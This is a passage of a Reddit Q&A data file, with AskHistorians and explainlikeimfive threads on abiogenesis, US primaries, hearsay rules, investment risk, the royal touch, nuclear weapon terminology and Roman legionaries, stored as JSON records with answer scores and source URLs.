a time, and so the idea of them folding as a random coil in solution isn't an accurate representation of how they fold. \n\nThis is a failure of our ability to predict the chemical mechanism of a particular phenomenon, not a failure of the laws of physics or evolution.", "I'm not smart enough to respond to that directly.  However, one of the best ways to combat a pseudo-scientific Christian is with a scientific Christian (yes, they do exist).  Dr. Francis Collins was the head of the Human Genome Project, is the current head of the NIH, wrote a book on how evolution is compatible with the Bible (\"The Language of God\"), and is a Christian.  His website, [BioLogos](_URL_0_), is an excellent resource for explaining how science and faith are not mutually exclusive.  If you're dealing with a Christian who won't listen to a baby-eating atheist about science, try directing them to that website.", "First, an experiment that demonstrates RNA can just 'appear' (in the loosest sense of the word):\n_URL_1_\n\nNext.  RNA can replicate on it's own:\n_URL_2_\n\nAnd finally, RNA can become DNA:\n_URL_0_\n\nAt that point, you have the basic concept of 'life'.\n\nHave we seen it happen all together in nature?  Not yet.  But it can, and that's more likely than magic.", "No one ever said proteins formed spontaneously, the idea is that RNA came first and it formed terinary structures that had catalytic activity (there are still many RNA based enzymes) and using this RNA framework all the other shit developed.\n\nRead about [the RNA world hypothesis](_URL_0_) which will tell you about the probability that RNA will randomly assemble. ", "There is another possible explanation, which I happen to love, because it combines quantum mechanics and biology.  I read a great book on it called Quantum Evolution by Johnjoe McFadden, which general concepts he explains here at his website, _URL_0_)\n\nThere was a researcher, I forget his name, I think at Leigh University, that was able to build a self replicating protein about 20 amino acids long.  For the purpose of this lets assume that 20 AA, in a given specific sequence, is what is needed for life to begin, that is possess self replication. \n\nLike you say, the odds of this occurring are impossibly small if you look at it from a simple Amino Acid 1 joins with AA2 and then AA3, etc.  This is the classic primordial soup problem that science has been grappling with for a long time.  \n\nFirst a very brief and simplified version of relevant quantum stuff using light as an example (please I know I simplified/messing things around, feel free to clarify): Polarized sun glasses let in light traveling only one direction (imagine light as a wave, it can be oscillating up and down, left and right, or any mix in between of a 360 degree circle, regular sunlight has all these directions).  At a tiny level, polarized lenses act like what stunna shades look like, essentially a picket fence that blocks out all polarizations of light except one, say up/down light.  Now if you take a second pair of polarized sunglasses and turn in at a 90 degree angle to the first and put the lenses on top of one another, they turn black because you are blocking all light, the first lense only lets through up/down, and the second, turned sideways, only lets through left/right, which there isn't any of.  Cool, hopefully that makes sense, it is also a way to check is a pair of sunglasses is actually polarized before you buy it. (This is actually much more complex and emerges from Maxwell's equations and is mathematically based, _URL_7_)  (Here is a youtube video showing exactly what I mean, _URL_3_), and another helpful one (_URL_5_)\n\nNow it starts to get tricky, if you take a third lens, same as the first two, and stick it in between them at a 45 degree angle, you see roughly a 6% transmittance of light.  This is a total WTF moment as a third lens is the middle should not make any difference logically.  What happens is though all the light passed through the first lens is vertical, it also exists in all the other orientations as a probability, that is, it simultaneously exists in multiple states based on probability, which looks something like vertical being the most likely, just off vertically less likely but still possible, and all the way to horizontal which is around zero, hence why no light passes through the two filters.  BUT when the third lens in introduced, some light, existing at the 45 degree angle, DOES pass through, and then again does pass through the third horizontal filter.  These simultaneous states of existence, a key point of QM, are called eigenvectors or eigenvalues, and exist is what is known as superposition (many positions at once).  These are math based concepts that apply to chemistry, physics, etc (_URL_1_).  So the third lens allows the light to jump from vertical to 45 degrees to horizontal.  Weird.  And cool.  Try it with some sunglasses, get your mind blown. \n\nThe major point is at a very small size, particles exhibit the potential to exist simultaneously in many states, superpositions, until INTERACTING with something else causes a collapse of the wave function and only one state is allowed to continue.  There are many examples of this in QM, like the double slit experiment, where the action of observation of the experiment, that is interaction with it, causes the result to be different.  (A separate and very interesting subject, _URL_4_). And this does not just apply to tiny particles anymore, Fullerene, sixty molecules of carbon in a large ball, has been shown to exhibit this and 'exist' in two places at once, _URL_6_\n\nThis is the idea that could apply to biology.  The chances of life starting, that 20 AA peptide 'appearing', are much much more likely if in fact, in an isolated environment from primordial soup (maybe a membrane of somekind), the AAs exist in superposition, so that AA1 attaches to all the other AAs, and so on, in a vast array of superpositions, until an interaction with the environment, soup, causes it to fall out of quantum possibility and nails it into reality.  This would theoretically allow a much faster rate of 'testing' peptides in the environment until one was created that could self replicate.  Now there follows a long discussion of decoherence and its application to mutations but to cut an already too long story short, suffice to say that this possible existence in superpositions made it much more likely to get a self replicating peptide, obviously it still took millions of years so not too likely, but enough to change it from the tornado and junkyard scenario.  Hopefully this doesn't sound like total BS, I think it is a great theory and a neat connection of QM and biology, and remember most of this is created/supported by math.  And it may explain plenty of similar biological mysteries ie enzyme function.\n\nCarbonic anhydrase is an enzyme (really a family of enzymes) in our blood. Simply, they modulate the pH of our blood by controlling carbon dioxide levels through interchanging CO2 and water to bicarbonate and protons.  The point that is interesting is that it is one of the fastest enzymes we know, making chemical conversions at roughly 10,000 to 1,000,000 times per second.  How does it go so damn fast?  We have no idea.  We can understand the shape, the zinc ion binding pocket, etc, but HOW it goes so fast we do not know.  It might be due to superposition and a preferential (higher probability) state created by the interaction. (Another explanation, _URL_2_)\n\nAnyway, I love this subject, I know that I did a poor job laying this out, it is hard to encompass so much subject matter, picking and choosing to leave out much, in a simple reddit post.  Please if anyone has questions I will do my best to answer them."]}, "title_urls": [], "selftext_urls": ["http://www.evolutiondeceit.com/chapter11_1.php"], "answers_urls": [[], [], [], [], [], [], [], ["http://en.wikipedia.org/wiki/Abiogenesis", "http://en.wikipedia.org/wiki/Natural_selection"], [], ["http://en.wikipedia.org/wiki/Levinthal_paradox", "http://wolynes.ucsd.edu/", "http://onlinelibrary.wiley.com/doi/10.1002/pro.196/full"], ["http://biologos.org"], ["http://www.sciencedaily.com/releases/2006/03/060327083737.htm", "http://www.wired.com/wiredscience/2009/05/ribonucleotides/", "http://www.sciencedaily.com/releases/2009/01/090109173205.htm"], ["http://en.wikipedia.org/wiki/RNA_world_hypothesis"], ["http://www3.surrey.ac.uk/qe/O1.htm", "https://en.wikipedia.org/wiki/Eigenvalue,_eigenvector_and_eigenspace", "http://www.economist.com/node/6795439?story_id=6795439", "https://www.youtube.com/watch?v=eqe-tpXrEiU&amp;feature=related", "https://en.wikipedia.org/wiki/Wave_function_collapse", "https://www.youtube.com/watch?v=rbx3K1xBxVU&amp;feature=related", "http://adsabs.harvard.edu/abs/1999Natur.401..680A", "https://en.wikipedia.org/wiki/Photon_polarization"], [], [], [], [], [], [], [], ["http://en.wikipedia.org/wiki/Abiogenesis", "http://en.wikipedia.org/wiki/Natural_selection"], [], ["http://en.wikipedia.org/wiki/Levinthal_paradox", "http://wolynes.ucsd.edu/", "http://onlinelibrary.wiley.com/doi/10.1002/pro.196/full"], ["http://biologos.org"], ["http://www.sciencedaily.com/releases/2006/03/060327083737.htm", "http://www.wired.com/wiredscience/2009/05/ribonucleotides/", "http://www.sciencedaily.com/releases/2009/01/090109173205.htm"], ["http://en.wikipedia.org/wiki/RNA_world_hypothesis"], ["http://www3.surrey.ac.uk/qe/O1.htm", "https://en.wikipedia.org/wiki/Eigenvalue,_eigenvector_and_eigenspace", "http://www.economist.com/node/6795439?story_id=6795439", "https://www.youtube.com/watch?v=eqe-tpXrEiU&amp;feature=related", "https://en.wikipedia.org/wiki/Wave_function_collapse", "https://www.youtube.com/watch?v=rbx3K1xBxVU&amp;feature=related", "http://adsabs.harvard.edu/abs/1999Natur.401..680A", "https://en.wikipedia.org/wiki/Photon_polarization"]]}
{"q_id": "4340w8", "title": "The US is just starting presidential primary season. The modern primary and caucus system only dates back to the 1970's. Why did both parties switch at the same to the new system? How did this change happen?", "selftext": "In [his long review of the book *the Party Decides* and its application to the current election cycle](_URL_1_), Nate Silver talks a little bit about the origin of the modern primary election cycle. The cases the book looks at are the ten competitive nominations between 1980 and 2004, but Silver criticizes the book for bracketing the weird cases in the 1970's, namely McGovern and Carter's runs as both managed secure the democratic nomination despite being factionally supported candidates (\"My main objection is in how the authors tend to treat 1972 and 1976 as transitional cases that aren\u2019t all that relevant to the current party system.\").\n\nThe new system is apparently dependent on the recommendations of the [McGovern-Fraser commission](_URL_0_), which was formed in the wake of the imfamously tumultuous 1968 Democratic Convention in Chicago. The Wikipedia says:\n\n > One of the unintended consequences of McGovern-Fraser reforms was an enormous surge in the number of state party presidential primaries. Prior to the reforms, Democrats in two-thirds of the states used elite-run state conventions to choose convention delegates. In the post-reform era, over three-quarters of the states use primary elections to choose delegates, and over 80% of convention delegates are selected in these primaries. This is true for Republicans as well.\n\nI was wondering if anyone could give more about this change, about how the nominating contests started to take this format, and particularly how Republicans ended up moving almost in tandem with the Democrats (though the first competitive Republican nomination was held in 1980, as the Republican nominees in both 72 and 76 were incumbents). How was this change an unintended consquence? Why did this system ended up getting chosen? I'm just looking for more history on the origins of the contemporary U.S. presidential candidate nominating process in general. ", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/4340w8/the_us_is_just_starting_presidential_primary/", "answers": {"a_id": ["czfl2oy", "czg4k8l"], "score": [5, 3], "text": ["Excellent question!!!\n\nAt first, state legislatures elected electoral college officials. This was the case for the first few presidential elections, but went the way of the dodo about the same time as the First Party System. \n\nIn 1824, one of the most hotly contested presidential elections took place. Andrew Jackson won the popular vote and the majority of state, however, John Q. Adams, son of former President Adams, won the election. This was decided in the House due to no one getting a majority in the electoral college. This was Adams' and Clay's \"Corrupt Bargain\", in which in exchange for being named Secretary of State (seen as a stepping stone to the Presedency), Clay throw his support behind Adams. This lead to allegations that Adams stole the election.\n\nThis contested election happened in 1824 because the Democratic-Republican party could not get it together. The party broke along regional lines and instead of backing the official candidate, Sec. William H. Crawford, the some elements supported Adams, Jackson, or even Henry Clay.\n\nAt this time, Congressmen would get together, along with other important party members would chose the nominee at the convention. That is where the term brokered conventions would take place. These hotly contested affairs would routinely breakdown into heated floor debates. \n\nFinally, Progressives in many western states started demanding the voters get to chose the presidential party nominees. This started in the late 19th and early 20th century. This slowly gain favor, but the nominee choice was still squarely in the hands of party officials. Think of a smoke filled backroom with the important players in a party hashing out who they can agree on to be the nominee.  \n\nFinally, 1968 rolls around. The 1968 Democratic Nomination Convention was a *fun* place. Mass riots. Tear gas. \"**The Whole World's Watching**. This was all plastered over the background of Vietnam, the Tet Offensive, and in the early part of the year, Pres. Johnson surprising the world by not running for re-election.\n\nThis was contrasted with the smooth Republican nomination of Nixon and then the resultant blowout by the Republicans (Nixon won 32 states, Humphrey 13, and third party Wallace won 5). \n\nThis lead to, in 1972, a series of caucuses and primaries being implemented, so that the voters choose the nominee before the convention. This prevents another disastrous 1968-like convention. The Republicans quickly adopted the same idea.\n\nThus, in 1972, we say the modern primary process began.\n\nHere is a [source](_URL_0_). Not the greatest, but the only one in front of me. If need be, I can find a book or two later to recommend. \n\nI don't want to stray beyond 1972, as the answers there get complicated and may blur the line with the 20 year rule.", "The reason why many states shifted to Presidential Primaries following the McGovern-Fraser Commission's report can essentially be boiled down to two words: regulatory uncertainty.\n\nPrior to 1972, state delegates were chiefly chosen through one of four different methods: a party caucus in which only certain people can participate; an open caucus (the ones we have today, like the Iowa caucuses); a delegate primary in which voters elect the delegates to go to the convention; and a direct primary (the ones we have today). In addition to those four, you also had the non-binding \"beauty pageant\" primary in which voters voted for their choice of nominee, but it was non-binding and the state party could ignore it.\n\nThe McGovern-Fraser Commission banned all but two of those systems: the open caucus and the direct primary. In doing this though, it also established a very long list of regulations for how states had to appoint their delegates to the Democratic convention. Failure to comply would mean failure to have your delegates seated at the convention. \n\nThus, rather than risk failing to comply (regulatory uncertainty), most states opted for the easier to implement of the two systems: the direct primary. \n\nRegarding the Republicans, they were caught up in this due to the spillover effect. When states were rewriting their laws to comply with the new rules for the Democratic party, they usually wrote it in such a way that it would apply to both parties.\n\nIt's important to note though that the Republicans did have their own voter reform commission around the same time called the Committee on Delegates and Organization (DO). Much like the McGovern-Fraser Commission, its aim was to increase voter participation and broaden representation, but the Republicans didn't feel as compelled to make changes as the Democrats did. Their party was more unified at the time, and the 1964 nomination of Goldwater already showed that grassroots activists could work well within the existing framework. Thus, the DO report was much less expansive, focusing more on ensuring delegates represented women, minorities, and youth.\n\nMoreover, the McGovern-Fraser Commission was far from the final attempt by the Democrats to reform their nomination selection rules. There'd be 4 more after it, included the Hunt Commission in the 80s that added the superdelegates rule. But, of all the voter reform reports, it was by far the most influential."]}, "title_urls": [], "selftext_urls": ["https://en.wikipedia.org/wiki/McGovern\u2013Fraser_Commission", "http://fivethirtyeight.com/features/the-republican-party-may-be-failing/"], "answers_urls": [["http://conventions.cps.neu.edu/wp-content/uploads/2012/08/History1.pdf"], []]}
{"q_id": "aevett", "title": "why are essential furloughed workers not protected under the 13th amendment?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/aevett/eli5_why_are_essential_furloughed_workers_not/", "answers": {"a_id": ["edsz7rs", "edt222o", "edt35ag"], "score": [3, 3, 3], "text": ["Well I believe they are protected, which is why there are (at least) 5 people who were ordered back to work without pay that are sueing the government as of Wednesday. They're using the 13th amendent because they're being forced to do slave labour\n\nEdit: a word", "The Amendment specifically cites \u201c*involuntary* servitude\u201d as an outlawed practice. \nA friend, deemed \u2018essential\u2019 within FEMA, tells me she\u2019s begrudgingly working without pay under the presumption that Congress will act according to precedent and allocate back-payments upon resumption of Gov. services. One assumes that attitude is common among gov. workers. \n\nThe 13th\u2019s \u2018servitude\u2019 clause is under scrutiny in another venue though as some think it may apply to prison labor in light of disparities along racial lines. \nIt proved toothless however in stopping the peonage system (work without pay due to fabricated debts) during Reconstruction after the Civil War and continuing through the 1950s. ", "You are either furloughed (told not to report, no work no pay) or essential (told to report, but pay is withheld until an unspecified date).\n\n13th amendment does not apply because they are free to quit.  Remember, to be slavery it must be involuntary."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "cbp4k1", "title": "why do ice cream cones have the grid of squares at the bottom inside, no matter the brand?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/cbp4k1/eli5_why_do_ice_cream_cones_have_the_grid_of/", "answers": {"a_id": ["eth8iof", "ethaecr"], "score": [44, 5], "text": ["That gives the bottom additional strength without needing excess material. It's kind of like adding [I-beams](_URL_0_) to the bottom of the cone. Otherwise, it would quickly start to fall apart, especially as the icecream melted and got the cone wet.\n\nIt's a good solution to a problem that all ice-cream cones have, so pretty much all brands have converged on that same solution.", "Ice cream cones were first invented at the world's fair.  A ice cream seller was next to a waffle maker .  The ice cream seller ran out of bowls and got the idea to roll up a waffle with ice cream in the middle.  The two immediately went into business together and it was a bigger hit than either individually.  And the ice cream cone was born, thus ice cream comes looking like waffles.\n\nIf you ever get the chance to roll up icecream in a real waffle do it, it is amazing.\n\n_URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://i.ebayimg.com/images/g/ku8AAOSwHupbjw2S/s-l300.jpg"], ["https://www.thevintagenews.com/2016/09/04/the-ice-cream-cone-was-first-created-at-the-1904-worlds-fair-when-an-ice-cream-cart-ran-out-of-dishes-to-serve/"]]}
{"q_id": "185a7q", "title": "why is police hearsay allowed to be used against you but not for you in a court of law?", "selftext": "When you are read your miranda rights, it reads that anything you say can be used against you; and a cop can testify to what you said only if it is used against you.  \n  \nBut if something you said to the cops helps you, the defense can't call the cop to testify for you because it would objected as hearsay.  \n  \nWhy does this double standard exist?  Either what he says is hearsay or not and it shouldn't be allowed in one instance and not the other.  \n  \nEDIT: Just some more info.  The reason why this question popped up in my head was because of this video:  \n_URL_0_  \n  \nPretty much, what you say to the police can only be used against you.  Not for you.  ", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/185a7q/eli5_why_is_police_hearsay_allowed_to_be_used/", "answers": {"a_id": ["c8bq5d8", "c8bq9up", "c8bqb03", "c8by644", "c8c3bhk"], "score": [8, 3, 3, 5, 6], "text": ["That's not hearsay. That's direct witness testimony. \"During questioning he said he did it\" and \"During questioning he said he didn't do it\" are both exactly the same thing, legally speaking.", "If you told the police \"I did it\", there's no other way to get that information, because you can't be forced to testify against yourself.\n\nIf you told the police \"I didn't do it, but I heard Bob say he did it\", *you* should be the one being questioned about it. Asking the cop you told that to is hearsay.", "_URL_0_\n\nThere's a difference between saying \"Bob said Tom did it\" and saying \"Bob said Tom did it **and that proves Tom did it**\". Only the latter is hearsay.", "Because statements made against your interest are more likely to be true.\n\nYou are presumed innocent, so statements you make in support of your innocence don't change that.  Statements you make in support of your guilt, however, are noteworthy, and given greater weight.", "Found [this](_URL_0_) on an old discussion about the same point of the video..\n\n <  < I think the gist of it is that, as the defendant, a statement that you make out of court, which is later offered in court to prove the truth of the matter asserted, is generally hearsay and inadmissible.\n\nOne way around that, is that admissions by a party opponent are admissible.\n\nEXAMPLE 1: The defendant says to the cop out of court, \"When I went through the light, the light was red.\"\n\nThe prosecution wants to try to prove the color of the light at the time the defendant entered the intersection. The prosecution can call the cop to testify that the defendant said that because it is an admission against a party opponent.\n\nEXAMPLE 2: Change the defendant's statement to the cop to say, \"When I went through the light, the light was green.\"\n\nThe prosecution cannot have the cop testify now because that statement is hearsay. It is admissible as an admission against a party opponent in EXAMPLE 1, but inadmissible in EXAMPLE 2 because the statement offered is not being used as an admission AGAINST the defendant. The statement in EXAMPLE 2 favors the defendant.\n\nSo, EXAMPLE 1 cannot help the defendant because it is admissible as an admission against the defendant. EXAMPLE 2 also cannot help the defendant because it is inadmissible hearsay if the cop is called to testify as to what the defendant said. >  > "]}, "title_urls": [], "selftext_urls": ["https://www.youtube.com/watch?feature=player_detailpage&amp;v=6wXkI4t7nuc#t=560s"], "answers_urls": [[], [], ["http://en.wikipedia.org/wiki/Hearsay"], [], ["http://boards.straightdope.com/sdmb/archive/index.php/t-536519.html"]]}
{"q_id": "crnagv", "title": "why does math has theorem but other disciplines only get to theories? are there theories in math?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/crnagv/eli5_why_does_math_has_theorem_but_other/", "answers": {"a_id": ["ex71wp5", "ex74hk2", "ex7d5uq"], "score": [20, 23, 6], "text": ["A theory is based on facts that point is to a given conclusion but that conclusion can change. For example google Phlogiston Theory. \n\nA theorem can be fundamentally solved. For example we can physically measure Pythagorean theorem and prove it. We cannot physically measure the theory of evolution, we can only conjecture within our facts the conclusion of evolution.", "Yes, the closes thing is called conjectures.  [_URL_0_](_URL_0_)\n\nA math theorem is analogous to a law in natural science.", "Math uses \u2018Theorem\u2019 to denote a statement that has been proven to be true (the exact method of proof depends on the claim). Math says \u2018conjecture\u2019 when an assertion has been made but not yet proven.\n\nScience is different because you often can\u2019t proof something to be unequivocally true. So scientists use the word \u201cTheory\u201d to describe an explanation of natural phenomena that is supported by evidence (we have the \u201ctheory of evolution\u201d because the theory describes the changes between generations of a species based on data such as fossil records or bacterial cultures). Scientists use the word \u201cLaw\u201d in a different way because laws describe relations between things (usually mathematically). We have the \u201cLaw of Conservation of Energy\u201d which states that energy can not be created or destroyed, just changed from one form to another. This can be stated mathematically as \u201cthe change in the total energy in the universe is 0\u201d."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://brilliant.org/wiki/conjectures/"], []]}
{"q_id": "axngnu", "title": "the difference between diversifiable risk vs non-diversifiable risk", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/axngnu/elif_the_difference_between_diversifiable_risk_vs/", "answers": {"a_id": ["ehuowak", "ehup9b7", "ehupcwi"], "score": [6, 3, 3], "text": ["Diversifiable risk is risk linked to that specific security, while non-diversifiable risk refers to the market as a whole.\n\nLet's say you have three clothing stores in town. If you only invest in one of those clothing stores, any number of events could occur that would lead to that particular store suffering a downturn. However, if you invest in all three, the only risk you're incurring is the risk that people will stop wearing clothes.\n\nWith diversifiable risk, you're essentially defining an industry which presumably acts as a zero-sum game. When one company suffers, another gains. So investing in the entire industry - diversifying - compensates for the individual risk of each company.\n\nWith non-diversifiable risk, you can't make this sort of distinction. No matter how your portfolio is structured, you're not going to win if an asteroid strikes the Earth and society collapses.", "Non-diversifiable (aka \"systematic\") = risk that's common to the whole economy. For example, a recession, a war, etc. -- everyone in business is going to be affected. \n\nDiversifiable (aka \"firm-specific\") = risk that's not related to the economy. For example, Elon Musk does something stupid again and Tesla stock goes down. All the other random stocks aren't going to be affected by Elon Musk's bad choices, but Tesla is. If you ONLY have Tesla stock, you just lost a lot of money. If you have Tesla stock and a bunch of other stocks too (you have a well-diversified portfolio), you lost maybe a little bit of money, but it's okay. \n\n & #x200B;", "It's essentially the difference between a risk you \"diversify\" yourself out of, or one you can't do anything about.\n\nSay you're investing in the stock market. Each stock you buy carries risk with it; the company might be badly managed and go under. But you can minimize that risk by buying stocks in a lot of different companies, because they won't all be badly managed.\n\nSo bad management is a diversifiable risk: by spreading your money across different companies, you reduce your risk of loss due to bad management.\n\nNow again, say you're investing in the stock market. Each stock you buy carries risk with it; the companies rely on a stable economy. But 2008 happens, and affects essentially every company. You couldn't avoid that fallout just by buying a wide variety of stocks.\n\nSo economic collapse is a non-diversifiable risk: since everything is affected, you can't avoid the fallout by spreading your money around more."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "7qonxl", "title": "Did any monarch contract tuberculosis as a result of the \"royal touch\" ceremonies? If not, how did they avoid catching such infectious diseases?", "selftext": "I am completely baffled at how the English and French monarchs avoiding contracting diseases after literally touching people who had them. The only thing I have found is that they would perform the royal touching ceremonies during the colder months because it was harder to spread diseases then (which is news to me). ", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/7qonxl/did_any_monarch_contract_tuberculosis_as_a_result/", "answers": {"a_id": ["dsrnmun"], "score": [5], "text": ["Firstly, I'd like to make a fairly important distinction: the king's touch wasn't supposed to cure what we now commonly call tuberculosis (i.e. pulmonary TB) but scrofula. Scrofula is mainly caused by the same bacterium, and while it is a visually impressive disease (it infects lymph nodes and causes large growths in the neck), it is not as contagious as pulmonary infections (if somebody with more medical knowledge could confirm that, it'd be ace), although the two can of course go together. The medieval prognostic for sufferers of scrofula also seems to have been a bit better than that of people affected with pulmonary TB, but probably not by a great deal. Since the discovery of micro-organisms was still several centuries away, what was termed \"the King's Evil\" probably included more benign diseases with symptoms resembling those of scrofula proper, such as goitre and mumps.\n\nI mostly know the history of the practice in France (a good but dated reference is Pierre Bloch's doctoral thesis, *Les Rois thaumaturges*/*The Royal Touch*, a fairly important text in the development of modern historiography in its own right), but it seems in later centuries contamination had become a real concern, despite the fact that its precise mechanism was obviously not understood. The official French ceremonial for the royal touch in the 17^th century included a \"ma\u00eetre d'h\u00f4tel [holding] a towel soaked with wine and water to give to the King and wash his hand after so many dirty touches\" (my shitty translation). Several contemporary documents also attest that surgeons examined the patients beforehand, eliminating those who didn't have scrofula (the touch came with a small coin as alms, which provided an incentive beyond the king's purported powers). Presumably the more suppurating patients would have been turned away at this stage. By the way, Louis XIII, who followed this ceremonial, did die of tuberculosis, but there's little to suggest that it was a direct consequence of the king's touch.\n\nThe specifics of older practices are less documented, and records indicate that ceremonies involved several hundred or a even a thousand sufferers at a time, which does beg the question of how kings avoided contamination. Bloch hypothesises that a great deal of the people the king touched didn't actually have scrofula or \"\u00e9crouelles\", but less severe illnesses. \n\nInterestingly, in contrast to the French tradition, English kings began in the 15^th century to touch coins that were then to be distributed to the population as cure or protection against not only scrofula, but epilepsy, joint pain, etc. a practice that was obviously less dangerous and more pleasant for the monarch--although the actual laying of hands continued in parallel."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "elzg3c", "title": "Is there any resource where I can find all of Hitler\u2019s speeches in full text? Preferably in English", "selftext": "Hi so I decided to study up on Hitler as I choose him to be the topic of my Bachelor thesis. I would like to read as much on him preferably directly from him or people close to him already bought and am reading Mein Kampf and ordered his second book and considering ordering the Table Talk book although I read the english translation is not that good. Now onto my question I bought a book of his speeches but most of the book is just the editor/publisher talking about the context and the actual speeches cover only the years 1922-1923 and less than 50% of the book. I found this list _URL_0_ and am looking for any source which would have all these speeches in full text preferably in English if not German will do. If anyone has any resource or could point me to libraries I would be thankful. Also I noticed some of his speeches not listed there notably the ones featured in Triumph of the Will. Does anyone know why that is the case? I found this source but it doesnt have them all _URL_1_ nothing after 1941 is a bummer.\nThank you for your time", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/elzg3c/is_there_any_resource_where_i_can_find_all_of/", "answers": {"a_id": ["fdljz0j", "fdlzlx1"], "score": [7, 4], "text": ["I would caution against such an approach, especially for a BA Thesis, as it is far more work than you would reasonably expect in pay off. *But*, if you are really committed to it, then you want to get ahold of:\n\nMax Domarus  &  Patrick Romane. *The Essential Hitler: Speeches and Commentary.* , Jun 2010.\n\nAdolf Hitler  &  Max Domarus. *The Complete Hitler: A Digital Desktop Reference to His Speeches and Proclamations 1932-1945.* , Jan 2013.", "I used to advise/tutor undergrad students in History 4000 which is our Bachelors \"thesis\" class. \n\nIf you came to me with this question my first question would be what you are planning on researching and writing on? Maybe if you have a interesting take on a certain speech or how US media reported on a singular speech versus something else, but this is a lot of material and honestly something that someone at an undergrad level will struggle with. \n\nI also always advise students, if you don't speak the language, it's not a good research topic. It's okay to use translated sources for support for your research/thesis, but your primary sources and main secondary sources should be in a language you are fluent in.\n\nSpeak to your professor, they will almost certainly advise against. Also, did your professor not have you write a prospectus? \n\nBut the best source for this would be your university library, ask your university librarian, if they do not have it, they can get a set for you. \n\nThe set I used when researching public statements about Islam for one of my Masters classes was an english one that was 4 giant volumes, thousands of pages, it was just called Hitler: Speeches and Proclamations. The librarian was also able to get me a large collection in German on a loan from another library and I had someone fluent in German help me."]}, "title_urls": [], "selftext_urls": ["https://en.m.wikipedia.org/wiki/List_of_speeches_given_by_Adolf_Hitler", "http://hitler.org/speeches/"], "answers_urls": [[], []]}
{"q_id": "c8tbd6", "title": "what is the difference between atomic, nuclear, and hydrogen when it comes to wmds.", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/c8tbd6/eli5_what_is_the_difference_between_atomic/", "answers": {"a_id": ["espmava", "espmfus", "espvx76", "esq5i7s", "ess1qf5"], "score": [4, 15, 6, 3, 2], "text": ["Atomic and Nuclear bombs are pretty much interchangeable terms, and a Hydrogen bomb is a type of atomic/nuclear bomb.", "atomic bomb and nuclear bomb are the same thing, just different names.\n\nA hydrogen bomb is a type of nuclear bomb and generally refers to nuclear bombs that are thermonuclear, and harness the power of fusion rather than fission. They are much more sophisticated than fission bombs, but are also much more powerful.\n\nIn fact, thermonuclear weapons use a small fission nuclear bomb to help start the fusion process.", "Atomic often just means fission weapons. \"Hydrogen\" generally denotes \\*thermonuclear\\* weapons (fusion weapons).  \"Nuclear\" encompasses all kinds.\n\n & #x200B;\n\nThere is a difference between mere fission weapons, and fusion weapons. The latter are far more powerful than the former. (The A-bombs dropped on Japan were fairly simple fission weapons, but the United States, Soviets, and others quickly advanced to far more complex and powerful bombs.)", "And to throw something else into it. A dirty bomb is a regular bomb with radioactive material in it so that when it explodes, radioactive particles are spread over a large area.", "\"Atomic bomb\" is an old term (1940s) usually used to mean weapons that get their energy from splitting heavy atoms (fission), like uranium or plutonium. Typically \"atomic bomb\" tends to invoke the idea of a bomb the size of the Hiroshima and Nagasaki types (thousands of tons of TNT equivalent).\n\n\"Hydrogen bomb\" is also a fairly old term (1950s) that is used to mean a bomb in which you take an atomic (fission) bomb and use its energy to fuse together light atoms (fusion) of hydrogen or lithium. This can be made to release a lot of energy, and the fusion of hydrogen can also be used to set off more fission reactions. Typically \"hydrogen bomb\" tends to invoke weapons of the sort deployed in the 1950s (millions of tons of TNT equivalent).\n\n\"Nuclear weapons\" is a term that became more popular in the 1960s and onward as a general category for all of these types of arms, and became popular as the lines between the different types became somewhat blurred. A modern \"thermonuclear weapon\" uses a mixture of fission and fusion reactions that are highly optimized to fit the entire thing into a very small casing, so that you can put a bunch of them on the end of a missile. These highly-optimized weapons tend to be in the hundreds of thousands of TNT equivalent range, so mid-way between the old \"atomic\" and \"hydrogen\" bombs in terms of explosive power, but capable of being fielded very quickly."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "459k2n", "title": "It is 58 BC and I am Average Joe Roman, a legionnaire marching to Gaul with Caesar...", "selftext": "...am I aware that this is a war of conquest and not, as Caesar has said, a preemptive attack on ruthless barbarian hordes bent on destroying Rome? Am I aware that I am a pawn in Caesar's greater political scheme to rule the republic? Do I care?\n\n...do we know what we are doing? Are we just going to walk into Gaul and fight everyone we meet? What is the strategy here? Do I know the strategy or is that above my pay grade?\n\n...who are all these people following our legion who aren't roman legionnaires?\n\n...what do I expect is my likelihood of surviving this campaign against savage barbarian tribes? If I do, how will I be rewarded/compensated?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/459k2n/it_is_58_bc_and_i_am_average_joe_roman_a/", "answers": {"a_id": ["czw8joq", "czw97g0"], "score": [34, 30], "text": ["So just a little bit of backstory. Caesar was the Governer of Cisalpine and Transalpine Gaul which is today northern Italy and parts of Southern France. Each territory had a certain number of Legions that a governer would have under his command(which caesar would disregard by raising more Legions than he was legally allowed to raise). But Governers were legally immune while in office so the senate could do nothing about it.\n\nTo the first question, an average roman legionary would probably know that in some way they would be fighting in some way which was good for the average soldier. Part of the way that they made money was by sacking towns and basically stealing valuables from conquered territory. The Legionaries probably knew that they were in some part a pawn in Caesars political schemes but Caesar was able to inspire fierce loyalty in his troops so they probably didnt care. They just wanted to fight and make money.\n\nTo the second, The Romans very rarely ever just declared war and invaded territory. Usually what happened was that they would look for any excuse to declare war no matter how flimsy. For example, the Second Punic war with Hannibal started over Hannibal attacking a single city in northern Spain. So 